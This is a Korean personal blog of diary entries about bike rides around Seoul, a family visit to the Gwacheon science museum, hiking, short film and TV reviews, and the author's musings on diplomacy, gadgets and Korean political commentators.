미니벨로 (하운드 MV20)을 타고 나갔다. 별 계획이 없어서 안양천에서 시작해 하트 코스나 돌아다니기로. 만만한 게 하트코스니까. MTB는 슬슬 패달을 밟아 부드럽게 추월했다. 눈에 띄는 대로 메리디안, 티티카카, 브롬톤 따위 자전거를 추월했다.

안양천변, 한강변 자전거 도로에서 30kmh 이상 밟기는 힘들다. 붐벼서 속도 내기에 적합한 도로가 아닌데다 대다수 인근 주민이 샤방 모드로 대충 마실 가듯 달리는 코스라 30kmh 언저리면 적당히 외롭게 달릴 수 있다. 순위권은 외로우니까. 그렇다고 잘 달리는 짐승이 없는 것은 아니지만.

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여의도 샛강 생태공원과 뒷편의 트럼프월드 빌딩. 샛강 생태공원은 익히 그 존재를 알고 있었지만 한 번도 가본 적이 없다. 자전거로 달리다가 우연히 빠졌다. 북적이는 한강변과 달리 호젓해서 좋다.

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반포대교 건너편의 저 물방울 모양 구조물은 말 많은 오세훈 시장의 작품, 플로팅 아일랜드. 거의다 지은 것 같다. 담배 한 대 피울까 하다가 관뒀다. 이왕 주말에 담배 안 피우기로 한 거, 그대로 유지해 보자. 반포대교 횡단 중 자전거의 체인이 잠깐 풀렸다. 자전거를 살펴볼 겸 잠시 여기 멈췄다.

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컵라면 하나 먹고 계속 달려 잠실에서 양재천으로 들어섰다. 지나가다보니 잠실 합수부 공사가 거의 끝난 모양이다. 2주 전에도 여기서 쉬었다. 아내에게 자전거를 맞추느라 안장을 약간 숙여 놓았더니 안장이 앞으로 쏠려 불편하다. 핸들이 평균 보다 약간 낮아 이 자전거는 180cm 넘어가는 사람이 타기에 불편할 것 같다. 핸들 스템의 길이가 고정되어 있고 개조할래도 대체 어떻게 해야 할 지 감이 안 잡힌다.

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측정해 보지는 않았지만 타이어 공기압을 적정 공기압 범위 상한까지 바람을 넣었다 -- 아마 65psi 정도 될 것 같다. 타이어가 얇고 바람을 꽉 채워놔서 타이어 접지면이 작아 마찰이 적기 때문에 꽤 잘나가긴 하는데 케이던스를 90-100 가량 유지할 때 최고단(앞 2단, 뒷 7단)에서 약 31kmh 가량 나왔다.  기어비 때문에 그 이상 속도를 올리기는 어려워 보인다. 뒤쪽 기어는 MTB와 달리 각 단의 톱니수가 별 차이가 나지 않아 뒷단 기어가 7단이긴 하지만 실효 범위로는 2-3단 정도 될 것 같다.

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집으로 돌아오는 길에 과천국립과학관에 들렀다. 사진은 UFO 추락씬으로 센스있게 만든 과천국제SF영화제의 매표소.

국제SF영화제에서 러시아 영화 두 편 정도 빼고 행사 기간 중 별로 보고 싶은 영화가 없었다(대부분 본 것들이기도 하고). 플라네타리움에서 상영하는 영화를 아이에게 보여주고 싶어 아침에 준비하다가 아이가 변심해 나 혼자 맨날 지겹게 도는 하트 코스나 자전거 타고 빙빙 돌러 나왔다가 들른 셈.

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안양천으로 돌아왔다. 기어 구성 때문에 패달 밟는 힘이 적게 든다. 더불어 바퀴가 작기 때문에 평지에서 가속은 MTB보다 나아 빠르게 치고 나갈 수 있지만  역시 기어 때문에 각도가 높은 업힐은 등판할 때 힘이 들 것 같다(한강변은 딱히 각도가 높은 업힐이 없어 실험하지 못했지만 이전에 타던 미니벨로와 거의 비슷한 기어 구성이나 바퀴 크기로 미루어 짐작). 다운힐에서 최속이 45kmh를 넘지 못해 의외다.

13만원이라는 저렴한 가격 때문에 거의 모든 것이 용서될 수 있다. 13만원짜리 자전거가 한강변에서는(한강변에서만) 200여만원하는 자전거와 거의 동급 성능이거나 낫다는 뜻이다. 싼 값이라 부품이 별로 믿음이 가지 않지만 1000km 쯤 달리고 다시 한 번 리뷰 해야겠다.

10월 31일, 10월 마지막날 일요일엔 아이가 딱히 일정이 없어 전날 가지 못했던 과학관에 가기로 했다.

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나처럼 어제 자전거를 타서 피곤했는데 늦게까지 안 일어났다. 애 깨워서 밥해 먹이고 집을 나섰다. 실험을 좋아하고, 설령 그 실험이 실패하더라도 과정에서 뭔가 남는다고 생각하기 때문에 내가 매우 안 좋은 아빠가 될 수도 있다. 그래도 거짓말을 하지 말아야지. 설령 네가 못 생기고 머리가 나쁘고, 평발에, 남자같은 성격과, 재능이라고는 눈 씻고 찾아봐도 없어도, 행복하게 잘 사는 헤아릴 수 없이 많은 선례가 있어 걱정할 것 없다. 제 애비 닮았으면 자연과 예술과 과학기술을 골고루 좋아할 것 같은데, 그냥 애비의 까칠한 성격만 닮았어도 말이다.

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과천과학관. 과천국제SF 영화제 때문인지 과학관 전체가 몹시 붐볐다. 30분쯤 줄서서 표를 사서 입장하자마자 서둘러 플라네타리움으로 향했다. 줄의 바로 내 앞앞에서 오늘 오후 6시까지 전 좌석이 매진되어 김이 샜다. 아내더러 평일에 애 데리고 이거 보러 오라고 해야겠다. 천체투영관은 과천과학관에서 볼꺼리 1순위다.

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플라네타리움은 글렀고, 무궁화 위성을 보낸 델타 로켓과 KSLV-I 로켓부터 보러 갔다. 나중에 아이한테 화약(고체) 로켓이나 만들어 줄까? 아빠는 애들 과학시간에나 하는 시시한 물로켓 따윈 거들떠 보지 않고 흑색 화약을 직접 제조하고 성능 개선에 열을 올리면서 로켓과 폭약을 만들어 어린 시절을 보람있게 보냈다. 아이가 그런 짓을 벌이겠다면 적극적으로 반대해(필요하다면 두들겨 패서라도) 부모의 반대 같은 시련을 통해 얻는 성공이 그 어느 것보다 보람차다는 것을 제대로 느끼게 해 주겠다.

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명예의 전당. 과천과학관에 처음 와봤다. 고장난 것들이야 어쩔 수 없지만, 전시 및 체험이 잘 구성되어 있어 보통 박물관이나 미술관 방문할 때보다 편안하다 -- 뭘 해도 체계가 잡혀있는 과학자/기술자 집단이 과학관 전시 배치에 직간접적인 영향을 끼쳤을 테니까. 그 중에도 명예의 전당이 꽤 마음에 들었다.

생각보다 볼꺼리가 많고, 놀기 좋아 과천과학관 첫인상이 좋았다. 하지만 사람이 너무 많아 뭘 찬찬히 살펴보며 다니긴 어려웠다. 평일이면 괜찮겠지 싶다. 돗데기 시장 같은 과천과학관을 빠져 나와 만원 지하철을 타고 집에 돌아왔다. 아이가 즐거워해서 다행이다. 가끔 데려가고 싶지만 뜻대로 될 지 모르겠다. 아빠는 전시물 대부분에 잘난 척하며 한 마디씩은 할 수 있는데...

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Terra. 할 껀 다하고 대안 제시까지 해주는 애니. 모처럼 작품 자체가 괜찮은 SF를 봤다.

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혐오스런 마츠코의 일생. 저 여자의 인생을 제멋대로 꽃칠한다. 제목 대로라면 '혐오스런' 부분도 충분히 보여줬어야 했다. 일본 영화, 드라마는 대체로 정 붙이기가 힘들다.

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Outsourced. 인도의 아웃소싱 외주 업체에 파견 나온 미국인들. 인도가 어떤 나라인지, 가보기는 한 작자들이 각본을 쓴 것 같았다. 아무래도 1기로 쫑날 것 같지만 즐겁고 웃기면 된 거다.

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Doctor Who. 극장판. 극장판 제목이 기억나지 않는다. 드라마와 마찬가지로 영화판도 재미가 없었다. 이 영화는 심지어... 요새 애들 말로 '돋는다'




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화로 속의 밤 줍기

잡기 2010. 10. 6. 02:09
옛날 옛적에 무슨 무슨 과정을 어찌어찌 거치다보니까 한국이 먹고 살 길은 국제 사회에서 외교 역량을 강화하는 길 밖에 없다는 몹시 지당한 결론에 이르렀다. 아마도 그 무렵 외교관 자제가 다시 외교관이 되는 세습에 관한 얘기도 들었던 것 같다. 전근대적인 음서제로 보이는 이런 전횡은 여러 국가에서 보편적이란다. 자주 나라를 옮기는 외교관들은 공식적인 자리 뿐만 아니라 사적인 파티같은 비공식적인 자리에서도 광범위한 사람들과 다양한 외교활동을 하는데, 외교관들의 아들딸들이 친분을 쌓아 후사를 도모할 클루가 생긴단다. 자국의 이익을 최대한 지키면서 각국의 이해관계를 매끄럽게 조율하는게 외교의 의미이자 목적이라면 이렇게 서로 친분을 쌓은 자제들이 아는 처지에 서로 뒤를 봐주는 것이 외시 붙어서 깐깐하게 구는 앨리트 보다 낫지 않겠느냐는, 외교 분야에서 만큼은 어쩔 수 없이 음서제를 용인할 수 밖에 없는 사정을 설명하는 이야기였다.

그때는 별 의문을 품지 않았지만(자명한 결론 탓에 국제 사회에서 외교 역량 강화를 위해 별별 짓이라도 다 해야 한다고 생각했으므로) 지금은 이런 의문이 들었다; 매우 실용적인 입장에서 우리나라 외교관 자제들이 여러 나라의 자제들과 친분을 쌓으며 성장해 부모의 후광으로 외교관이 되어 국제외교에서 눈에 보이진 않지만 실질적인 영향력을 행사하고 여러 외교 현안에 관해 겉으로 드러내지는 못할 지언정 나름의 성과를 거두었는가? 이를테면 신문에 아주 가끔 기사로 실리는 국제적 병신짓이나  현지어는 영어 빼고 한 마디도 못하는 한심한 외교부의 대사관 직원 선발이나, 외국에 여행/거류 중인 자국민 만큼은 거들떠보지도 않고 굳게 문을 닫고 귀를 막고 있는 대사관 말고, 공식화할 수 없는 알려지지 않은 007 작전 같은 사정들이 훨씬 많을까?

이번 추석에는 송편이 없었고 술은 안 마셨고 담배는 7일 동안 다섯 가치 피웠다. KTX 타고 가는 길에 무선랜을 검색하니 GMarket 아이디로 KTX 차량 무선랜을 무료로 사용 가능했다. 역마다 KT 무선랜이 검색되기도 했다. 공짜 와이파이 같은 거 안 기쁘다. 별로 성능이 좋지도 않은데, 온 사방에 와이파이 깔아서 충돌 회피 메카니즘 때문에 망을 오염시키는 짓 좀 하지 말고 Wibro든 LTE든  그런 거나 좀 싸게 공급할 생각을 하던가, 하려면 super wifi를 설치하시던가... 국가 기간망과 사업자 망을 중복투자없이 효과적으로 관리하기 위한 반강제적인 국가 정책을 수립하시던가. 아참 정통부를 없애버리고 이상한 걸 만들어 놨지.

차세대 스마트폰 씨버드 --  3차원 마우스로 사용하는 블투/ir 동글은 손가락에 끼는 반지처럼 만드는게 좋을 것 같다. 아예 반지로 만드는게 낫겠다. 프로젝션 키보드가 그렇게 좋은 것 같진 않다. 무선 충전은 곧 도입될 것이다 -- 시제품 단계가 지났다.

10인치 아이패드에는 관심 없었는데, 주머니에 들어간다고 우기는 7인치 타블렛에는 관심이 동했다. 아이패드가 10인치 디스플레이에 무게가 300g 정도였다면 아예 무관심하진 않았을 것 같다. 그럼에도 아이패드가 꽤 많이 팔린 것 같아 의아했다 -- 아이패드 산다고 인간의 격이 올라가거나, 레어해지거나, 패셔너블 해지거나, 리딩엣지를 경험하는 얼리어댑터가 된다거나, 기타등등(생활 편리?)과는 거리가 영 멀어 보이는  좀 바보같은 기계로 취급하는 편이다. 그래서 아이패드 보고 호들갑 떠는게 영 이해가 안 갔다. 애플TV가 나올 꺼라 다들 예상했다. 한국에서 IPTV로 VOD 감상하는 것 빼고 스트리밍 서비스가 월 5~8달러 수준이다.  그러니 애당초 애플 TV는 미국에서는 생태계 재편성이라고 지껄일 수 있을지 몰라도 한국 사정과는 꽤 달라 보인다.

http://www.youtube.com/watch?v=IndLsjrb1X0 -- 우크라이나 뉴웨이브 여성 그룹, '노래하는 팬티'.  곡이 좋은데?

http://skyhookwireless.com/ -- 굳이 등록할 것도 없겠지만 그래도 등록했다. 안드로이드나 iOS에 WPS가 이미 설치되어 있는 것 같지만 실제 작동하는 모습을 본 적이 없다.

핫요가: 요가의 탄생지인 인도처럼 온도를 38도로 올려 요가 하면서 살을 쫙 뺀단다. 인도가 그랬나? 라자스탄 쪽이 한낮에 40도까지 올라가긴 한다. 사막이니까. 날씨에 따라 요기들이 중부 바라나시와 북부 리쉬케쉬를 오락가락 하는데(더워서), 정상인은 밤낮으로 실내 기온이 늘 38도 정도 되는 곳에선 목숨을 부지하기 어려을 것이다.

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인도 생각난 김에 본 3 Idiots. 재밌다. 식민지 시절부터 유명한 관광지, 심라(Simla) "그 날, 난 깨달았어. 이 마음은 쉽게 겁을 먹는다는 것을. 그래서 속여줄 필요가 있지. 큰 문제가 생기면 가슴에 대고 얘기하는 거야. '알 이즈 웰'" "그래서 그게 문제를 해결해줬어?" "아니. 근데 문제를 해결해나갈 용기를 얻었지."

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심라에서 Manali로 가는 길.

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마날리에서 Ladakh으로 가는 길. 공교롭게도 이 영화에 나오는 세 곳은 인도 여행 중 가보지 못한 곳들이다. 젠장 유명한 곳은 못가보고 어디 시골깡촌같은 곳만 돌아다녀서 인도 여행자들하고 대화가 통해야 말이지. 조드푸르 등 라자스탄은 아예 근처에도 못 가봤잖아?

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검색해 보니 '세 멍청이'가 인도에서 대단한 인기를 끌었던 모양. 영화가 얼마나 재미있었던지 심지어 꿈도 꾸었다.

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EBS 세계테마기행. 2010-09-24 소우주 인도기행. 저잣거리. 최근 상황을 알고 싶어 무작정 찾은 다큐멘터리. 그런데 인도가 아직도 이 모양이란 말인가? 젠장 또 가고 싶어지잖아!

드라이피니시를 마셔보고 싶은데 동네 근처에선 팔지 않았다. 맥스의 뒷맛이 전보다 쓰디쓰게 느껴져 첫 몇 잔은 먹을만 하지만 그 후로는 입맛에 안 맞았다. 동네 수퍼에서 우연히 발견한 max special hop 2010 식스팩을 사고 640ml짜리 맥스 병을 잡았다. 640ml를 먼저 마시고 스페셜 홉을 마시니까 뒷끝이 깔끔하다. 올해 스페셜 홉은 싱하나 하이네켄보다 약간 더 무겁고 향미가 좋았다.  테카테하고 비슷해서 얼음 띄워 한여름에 먹기 좋았다.

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스마트폰이 바뀐 다음 비망록처럼 사용하는 일정을 뒤적여 광형을 대체 몇 번이나 만났나 살피다가  지금과는 내가 완전히 다른 사람이었구나 하고 느꼈다. 연초에도 십여년짜리 일정 중 특정 부분을 보고 비슷한 기분을 느낀 기억이 난다. 변하지 않은 것은 내 골방의 미니멀리즘 뿐.

골방과 사무실 사이를 오락가락하다보면 기분이 어느새 연쇄살인마 같아지곤 해서 주말이면 뭐라도 핑계거리를 만들어 바깥으로 나갔다.

관모봉, 태을봉
수암봉에서 찍은 사진. 능선 왼쪽이 관모봉, 가장 높은 봉우리가 태을봉. 태을봉 아래 도로는 서울외곽순환 고속도로. 작은 사진으로 보면 상이 많이 왜곡되는 것 같아 그런 사진은 큰 사진으로 올리기로 했다(클릭하면 확대). 옵티머스Q의 카메라 화질이 그럭저럭 괜찮아서 만족한다.

수리산 슬기봉
칼바위 능선을 거쳐 슬기봉에 오르고 레이다 기지를 우회하는 도로로 내려오다가 수암봉을 탔다.

슬기봉
슬기봉 구름다리. 초가을이다. 더위가 한풀 꺾여 정말 움직이기 좋다.

매번 수리산을 탈 때마다 같은 지점에서 헤멨다. 안양에서 올라 안산으로 내려오는 길의 중간 쯤, 슬기봉과 레이다 기지 사이 등산로는 군부대로 막혀 있다. 우회로를 타고 수암봉에 올랐다가 왼쪽으로 틀어 안산으로 내려가야 하는데 거꾸러 오른쪽으로 내려가 안양으로 떨어졌다. 수리산을 여러 번 올랐지만 이번에도 안산에는 가지 못했다. 길을 잃고 헤메서 기분 나쁘거나 자책하지 않았다. 오랫만에 이 말을 해 보는군:Errare est humanum. 인간 노릇은 오래 해먹어 봐서 재미가 없으니  그보다 다음에는 꼭 안산에 가자.

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관악산과 수리산 산행 중 찍은 동영상. 유튜브 동영상을 올리는 색다른 방법: QRCode로 url을 인코딩해 두면 그걸 읽을 수 있는 스마트폰의 바코드 리더로 긁어 유튜브에 바로 접속해 동영상을 볼 수 있다. Quick Response Code는 특허권자가 권리를 포기해 누구나 무료로 사용할 수 있다. 간단하면서도 정보 밀도가 적당한 효과적인 코딩 방식인데  에러 교정은 RS 체크섬을 사용하는 것 같다.

그건 그렇고 wired의 편집장이 전 세계 웹 트래픽의 지속적인 감소를 그래프로 보여주며 '웹은 죽었다'고 선언했다. 죽은 웹 때문에 슬퍼할 사람은 없을 것 같다. 일부 공공정보(이미 서비스로 전환)와 사적 정보(사적 신용이 무엇보다 중요해진 SNS 역시 서비스)를 제외한 대부분의 정보가 상업적 서비스가 된 것이 어제 갑자기 일어난 일이 아니고 인터넷의 상업적 가능성은 애저녁에 포르노그래피가 이미 모범(?)을 보였다.

아무튼, 그와 관련해, 컨셉이 후져서 ebook류나, 10인치 애플 아이패드에는 별 관심이 안 생겼는데 7인치 패드가 나온다니 관심이 생겼다. 컨텐츠는 예나 지금이나 추적이 안되는 '무료'만 사용할 것이다. 아이덴티티가 정보가 되는(돈이 되는) 사회다. 사람들의 웰빙 실존을 감사해하는 회사들이 많이 생겼다. 소셜웹이란 건 애당초 없다. 뉴럴 네트웍 닮은 네트웍을 만들어 평소처럼 하는 '비즈니스'다. 그런 비즈니스가 증오스러우면 이 시대에서는 존재하길 멈추는게 바람직했다. 웹에서나 SNS에서 사라지긴 상대적으로 쉬운 편이다. 그보다 어려운 것은 사람들 사이에서 사라지는 것이다. 뿅~ 하고.

무수한 종류의 아이디어가 담긴 저작들을 통해 저장된 인간성의 재현이나 대리된 인간성(성격과 감수성과 감성과 분리되지 않을 것으로 짐작되는 생존기술로써의 지성을 포괄하여) 따위를 기술의 발달과 상관없이 시뮬레이팅 하고 숙고하는 기회를 가져봤지만...

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처가에 갔다가 오는 길에 수원역에서 본 퍼포먼스. 마리아치라기 보단 그냥 밴드잖아? 내가 메히꼬에서 본 마리아치는 기타 하나 매고 여기저기 떠돌아다니며 음악으로 구걸했다. 물론 카페나 바를 전전하며 남녀가 앉아있는 테이블에서 꽤 괜찮은 벌이를 하는 '밴드'가 꽤 많지만 출발 까지 시간이 있는 버스에 무작정 오르거나 골목 어귀에 우두커니 서서 넉살좋게 노래 한 곡 뽑고 몇 뻬소 되지 않는 돈을 모아 여기저기 돌아다니던 마리아치를 잊을 수가 없었다. 인도에서 본 자이나교도나... 수행자/사두 같았달까.

블로그에 email을 적어놓을 수 없었는데 QRCode가 좋은 대안이 될 것 같다. 공개하면 스팸이 날아오고 안 하자니 글 쓰고 나서는 거의 돌아보지 않는 이 블로그에 댓글이 달리고...


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아이가 안바 아나바 아라베스크 따위 동작을 난생 처음 배우러 간 동안 나는 일과 세상에 찌들어 몸에 누적된 독소 수준을 낮추기 위해 나돌아다녔다.  

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9/18 십이지장 입구에 난 염증으로 약을 받아 먹으며, 평소처럼 산에 가서 헤멨다. 9/28은 자전거를 타고 집에 돌아왔다. 거울을 잘 안 보게되니 일 년에 한두 번은 셀카 찍어놓고 일부러라도 얼굴을 살폈다. 모든 인간은 16세 이후에는 늙기 시작한다, 늦던 빠르던 늙고 보잘것 없어진다. 내 외모에 특별한 감흥은 없지만... 못 생겼다. 머리를 중처럼 밀어버릴까?

바람이 선선해서 산에 다닐만 했다. 아침으로 김치찌게를 끓여 먹고 주먹밥을 점심으로 싸가고 집에 돌아와서 치맥을 먹었다. 아내 친구가 남편과 자식을 놔두고 KOICA 봉사활동을 간다는 얘길 들었다. 아이가 다 자랄 때까지 14년 남았다. 아내는 언젠가 날더러 당신은 어떤 여자에게나 썩 괜찮은 남편일꺼라고 말했다. 수긍이 간다. 좋은 남편은 많이 식상해서, 좋은 아빠가 되고 싶다. 아이 낳아 잘 키우고 행복하게 살다가 저 세상에 가는 것이 세속의 인간이 누릴 수 있는 가장 큰 영화다.

애가 좀 더 자라면 애를 데리고 안나푸르나 트래킹을 하고 보르네오 섬을 돌아다니고 오스트레일리아 아웃백에서 별 구경을 하고 눈 내리는 블라디보스톡에서 대륙횡단 기차를 타고 싶다. 아내는 제주도에서 고사리를 캐거나 정선 인근 산골에서 장뇌삼을 채취하며 경비를 보태는 등 남편과 아이를 경제적으로 보필하는 것이 바람직해 보인다.

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9/19 일왕저수지 또는 만석거. 비가 와도 아이를 데리고 만석거를 빙글빙글 돌며 자전거 타는 연습을 시켰다. 때문에 비가 오든 눈이 오든 적절한 복장을 갖추면 언제라도 아빠와 밖에 나가 놀 수 있다고 아이가 생각하게 되었다. 나야 뭐 애가 집에 틀어박혀 있는 것을 별로 달갑게 여기지 않았다.

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처가집 옥상에서 찍은 석양.  
추석 연휴에 거의 술을 마시지 않았다. 5일 동안 담배는 다섯 가치만 피웠다. 그런다고 젊은 시절의 예민했던 감각이 되돌아오진 않았다.

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9/25 아내와 딸이 처가에 남아 혼자 있으니 밥해 먹기도 귀찮고 웹을 하릴없이 뒤지다가 미사리의 국수집을 발견했다. 안양까지 자전거를 지하철에 실어 이동하고 안양천 자전거도로를 거쳐 과천을 지나 양재천에 이르렀다.

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미사대교 부근.
다음 지도 앱은 현재 위치를 두번 클릭하면 나침반의 자북에 따라 지도를 회전한다. GPSr 지도가 날로 좋아지면서 복잡하고 정신사나운 화면을 보여주기 때문에 차라리 휴대폰을 꺼내 다음 지도를 보는 편이 훨씬 보기가 좋았다.  날씨가 무척 좋아 그림같은 사진이 나왔다(클릭으로 확대).

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미사리에서 아점으로 먹은 5천원짜리 초계국수. 닭육수에(사과, 배, 배추를 넣은 물김치 국물을 섞은 듯) 면을 말고 뻑뻑한 가슴살을 올렸다. 뻑뻑한 가슴살? 초계면 야들야들 해야지! 국물은 시원하지만 고기맛이 시원찮아 왕복 100km를 달려서 부러 먹을만한 품질은 아닌 것 같다. 차라리 밀면을 싸게 팔면 장사가 될텐데... 그러고보니 밀면 가게가 참 드문 것 같다.

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탄천 자전거 도로. 흡사 초신성이 폭발한 듯한 사진. 하남, 탄천 자전거 도로, 수지를 거쳐갔다.

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집으로 돌아오는 길에 화홍문에 들렀다. 가을에 보니 무척 운치있다(클릭하면 확대).

98km 주행에 평속은 20.2km 나왔다.
피곤하지 않았다.
시원찮은 초계국수를 먹으러
100km 안팎 주행하면서 적어도 6개 도시를 지나갔다.
문득 '일망타진'이란 사자성어가 떠올라 흐뭇했다.

돌아오면서 집 인근에 새로 생긴 통닭집에서 프라이드 치킨을 샀다. 주문에서 포장까지 제과정을 지켜보면서 어쩐지 이 가게 망할 것 같다고 생각했다. 샤워하고 시원한 맥주 한 잔 들이킨 후 맛 본 치킨이 역시나 별로였다. 이것으로 당분간 동네에서 프라이드 치킨은 맛데이에서만 시켜먹을 것이다.

파닭은 가끔 먹는 정도로 만족해야겠다. 파가 치킨의 적당한 기름기를 중화시키는데다 파향이 강해 맥주맛을 죽인다. 적당히 기름진 프라이드 치킨을 뜯어 먹은 후 목구멍을 청소하는 기분으로 맥주를 들이켜야 개운했다.

팔로우 중인 김규항은 꽤 고리타분한 선생님같았다. 조선일보도 보는데 제 몫 다하고 열심히 살아가는 옛날 좌파 아저씨 글이라고 못 볼 것도 없다.
김규항에 따르면, 나는 늘 이렇게 잘 먹고 잘 살아도 되는가, 미안해 하기 때문에 좌파의 출발선상에 서 있다고 한다. 나는, 아주 나쁜 놈은 아니라서 저울의 균형을 맞추려고 하는데, 지금까지 저울이 유달리 왼쪽으로 기운 적이 없었던 것 같다.


김규항이 진중권에게 시비 건 글들이 있는데, 각 편의 감상 소감은 이랬다:

이상한 나라의 진중권 02 -- 지배적 정체성이 정당의 정체성을 결정한다?

이상한 나라의 진중권 04 -- 예절 교육에...
이상한 나라의 진중권 05 -- 꼰대 고집에...
이상한 나라의 진중권 06 --  인간성 트집에... 할 말 다하신 것 같다.
이상한 나라의 진중권 07 -- 아니, 한 마디 더 남으셨다. 무릅이 저려도 쎈세 말씀, 센스있게 끝까지 들어주자. 이건 신세 한탄...? 하여튼 재수없는 '자유주의자' 진중권에게 할 말 다했다. 살날이 얼마 안 남은 늙다리 꼰대 아저씨 답게 비전도, 미래도, 유머센스도, 영양가도, 책임감도 없는 지나가는 얘기 같다.
반면 쿨한 진중권은 딱히 김규항 쪽을 향한 것 같지는 않지만 평소처럼 날라리 양아스럽게 이렇게 말했다:
1. 당신들이 말하는 사회주의는 무엇인가?
2. 오늘날 대중이 사회주의를 원하는가?
3. 원하지 않는다면 그건 그들이 무지하기 때문인가?
낄낄 웃었다.
사민주의가 유럽에서 성공했다고 한국에서 성공할 것 같지 않았다. 유럽 어느 나라의 잘 돌아간다는 시스템을 부러워 한 적이 없었다. '세상에 공짜 점심은 없다'는, 현재로썬 인류가 밝혀낸 유일무이한 진리인(시공간을 초월하여 어디에나 통용되는 확고한 진실이란 점에서) 에너지 보존 법칙도 있다. 화로 속의 밤을 주우려면 정치세력화에 매진해야 되는건가?
진중권을 팔로윙 하다 보니까 이런 흥미진진한 짹짹임도 눈에 띄었다:

우익엔 도덕깡패, 좌익엔 이념깡패. '진보'니 '좌파'니, 지들 맘대로 규정해놓고, A급이니 B급이니 등급분류해가며 육갑을 떱니다. 내가 무슨 소고긴가요? 대관령 방목 한우 목살 좌파....그 놈의 '진보' 딱지 떼고 나니 해방감에 날아갈 것 같네요.
이해가 간다. 아까 좌파의 출발선 운운하는 김규항처럼 좌파, 진보 같은 개족같은 딱지를 자기들 맘대로 갖다 붙여놓고 하지만 자긴 똘레랑스라고 우기는 노땅 아저씨들과 수구골통하고 별 차이가 없다고 여겼다. 음. 좌측 골통과 우측 골통 정도의 차이는 있을 것 같다.


그래도 김규항을 꺼려하지 않았다.

척 팔라닉, 랜트

에코 로렌스: 이것 좀 들어봐요. 랜트는 정말 로맨티스트였어요. 여자들에게 시들거나 썩어가는 걸 지켜볼 수 있는 장미꽃을 사주는 건 또 다른 얘기죠. 그보다는 여자에게 완전히 파괴할 수 있는, 장차할게 다 장착된 스카이라크 승용차를 사주는 게 훨씬 더 멋진 생각이에요.

그린 테일러 심스의 현장노트에서: 미들턴에서는 잠자는 개들이 항상 길에 대해 우선권을 갖는다... 은유적으로나 실제적으로나.
오랫만에 작품 하나 건졌다. 여태까지 읽었던 척 팔라닉 중 가장 좋았다. 이건 뭐 거진 현대문학선 읽는 기분이랄까, 척 팔라닉의 집대성 판이랄까. 토머스 핀천의 브이가 떠오르기도 했다. 정말 끝내주는 소설이었다.

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Castle.
PsychoTheRapist 라는 말 장난.
 '시장의 지시'라는 무리한 설정으로 현직 베스트셀러 작가가 범죄 현장에서 조언자 역할을 한다.  파이어플라이에서 마초 선장 역을 맡았던 배우가 징그럽고 돈 많은 작가 역을 맡았다. 개똥벌레에서 전쟁에 패한 편에 붙어 전쟁이 끝나 비루먹고 사는 선장 역을 꽤 잘 해 줬는데, 여기서도 딸애와 제 엄마 빼고는 4가지를 배울  구석이 없는 자만에 빠진 재수없는 작가 역을 잘하고 있다(다만 첫 화에서 마음에 들었던 여주인공이 날이 갈수록 예뻐져서 그 여자에게 정이 안 갔다). 그래도 2기까지 볼 정성인 것은 아무래도 주인공 캐릭터 때문.

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하하! 파이어플라이 운운했더니만 2기 6화에서 이런 서비스샷을 넣어줬다. 파이어플라이를 두 번 봤다. 몇 년이 지난 아직까지 그에 필적하는 SF 드라마는 나오지 않았다.

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매우 거지같이 Detroit Metal City 실사판. 안보느니만 못한 불법복제판 같았다. 다만 이 장면만은 좋았다.

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Warehouse 13. 시즌 2.  예쁘다.

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Hurt Locker. 마지막 장면. 이라크에 평화를 정착시키지 못하고 시아파와 수니파 사이의 피비린내 나는 정쟁으로 불안에 떠는 시민을 내팽개친 채 비전투원을 포함한 모든 미군이 내년까지 떠나는 상황을 생각하면 기분이 더럽다.

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간빙기

잡기 2010. 5. 10. 23:12
홍정곤 내과. 4/2 감기 때문에 우연히 방문. 늘 하던대로 처방전의 약품을 조사하다가 놀랐다. 흔해빠진 항생제를 쓰지 않았다. 그런데도 세 번 복용만에 감기 제증상이 사라졌다 -- 약 먹고 업무 시간에 졸았다. 잘 잤다. 정말 훌륭한 약빨이다.


남성속옷, ‘트렁크’ 가고 ‘드로즈’ 뜬다 -- 쫄사각의 원조는 소위 스포츠 이네웨어 같은데? 작년부터 자전거 타거나 산에 갈 때나 입곤 하다가 평소에도 자주 입게 되었다. 패션 보다는 기능성 속옷의 대단한 장점이 마음에 들었다 -- 땀이 차지 않는다. 등산 양말도 마찬가지다. 등산화, 등산양말, 기능성 속옷, 기능성 티셔츠를 툭하면 입고 다녔다. 이제 바지만 갖추면 회사로 등산하러 가는 셈이다.

그건 그렇고 꽉 끼는 속옷이 불알의 온도 조절 기능을 떨어뜨려 정자의 활동성을 낮추거나, 심지어 정자의 개체수를 떨구어 임신가능성을 한푼이라도 낮춘다면, 역으로 말해, 내일이 오지 않을 듯이 오늘에 충실하며 열심히 놀고 있는 젊은 남자라면 반드시 착용해야 하지 싶다.

국내 비공개 트래커 일곱 곳의 스내치 합계 -- 50편 중 38편을 보았다. 안 본 것들은 단지 재미 없어 보여서다. 본 것들 중에도 재밌는 건 몇 개 되지 않았다.

4월 24일 메모: 낼모레가 오월인데 날씨가 이 모양인 이유: 지구 온난화로 망가진 지구가 자정작용을 하는 중이란다. 어렸을 적엔 멋 모르고 러브록의 가이아를 좋아했다가 철들고는 헛소리라고 생각했다. 나중에 알고 보니 러브록도 본인의 가설을 후회했다. 낼모레가 오월인데 날씨가 이 모양인 또 다른 이유: 지금은 간빙기다. 지구온난화가 냉각을 저지하고 있다. -끝-

의지와 표상으로써의 우주 -- 십여년 전엔 이런 걸 별 생각없이 번지르르한 헛소리라고 단정했다. 지금도 그렇긴 하지만 예전과 다른 점은 뭘 하고 재밌게 지내는 분인지 궁금하지 않다. 나야... 재미없고 잘 지내지 못했다. 그건 그렇고 지난 수십 년 동안 학습하고 결론내리길, 이 우주에서 가장 좋은 것은 1. 산 채로 2. 느끼고 3. 배우고 4. 존재하는 것이다. 남들 의견이지 내 의견이 아니다. 내 의견은 별로 중요하지 않으므로 남들 의견으로 대신하는게 바람직한 처세같다.

